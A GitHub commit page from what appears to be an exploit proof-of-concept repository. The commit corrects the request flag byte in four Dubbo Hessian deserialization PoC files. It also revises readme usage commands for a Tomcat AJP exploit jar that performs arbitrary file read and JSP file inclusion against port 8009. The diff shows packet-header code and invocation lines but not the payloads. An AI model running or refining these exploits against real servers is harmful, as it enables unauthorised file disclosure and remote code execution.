Skip to content

Commit cf0c17e

Browse files
author
threedr3am
committed
fix:dubbo hessian poc请求响应标识问题
1 parent 9a963b9 commit cf0c17e

File tree

5 files changed

+6
-6
lines changed

5 files changed

+6
-6
lines changed

dubbo/src/main/java/com/threedr3am/bug/dubbo/ResinPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ public static void main(String[] args) throws InterruptedException {
6262
// set magic number.
6363
Bytes.short2bytes((short) 0xdabb, header);
6464
// set request and serialization flag.
65-
header[2] = (byte) ((byte) 0x20 | 2);
65+
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
6666

6767
// set request id.
6868
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

dubbo/src/main/java/com/threedr3am/bug/dubbo/RomePoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ public static void main(String[] args) throws Exception {
7474
// set magic number.
7575
Bytes.short2bytes((short) 0xdabb, header);
7676
// set request and serialization flag.
77-
header[2] = (byte) ((byte) 0x20 | 2);
77+
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
7878

7979
// set request id.
8080
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

dubbo/src/main/java/com/threedr3am/bug/dubbo/SpringAbstractBeanFactoryPointcutAdvisorPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ public static void main(String[] args) throws Exception {
4646
// set magic number.
4747
Bytes.short2bytes((short) 0xdabb, header);
4848
// set request and serialization flag.
49-
header[2] = (byte) ((byte) 0x20 | 2);
49+
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
5050

5151
// set request id.
5252
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

dubbo/src/main/java/com/threedr3am/bug/dubbo/XBeanPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ public static void main(String[] args) throws Exception {
4848
// set magic number.
4949
Bytes.short2bytes((short) 0xdabb, header);
5050
// set request and serialization flag.
51-
header[2] = (byte) ((byte) 0x20 | 2);
51+
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
5252

5353
// set request id.
5454
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

tomcat/ajp-bug/bin/readme.txt

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
任意文件读取
2-
java -jar ajp-bug-1.0-SNAPSHOT-jar-with-dependencies.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp
2+
java -jar ajp-bug-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 8009 file /index.jsp
33

44
文件包含
5-
java -jar ajp-bug-1.0-SNAPSHOT-jar-with-dependencies.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp
5+
java -jar ajp-bug-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 8009 jsp /index.jsp
66

77
打包方式:
88
在目录tomcat/ajp-bug

0 commit comments

Comments
 (0)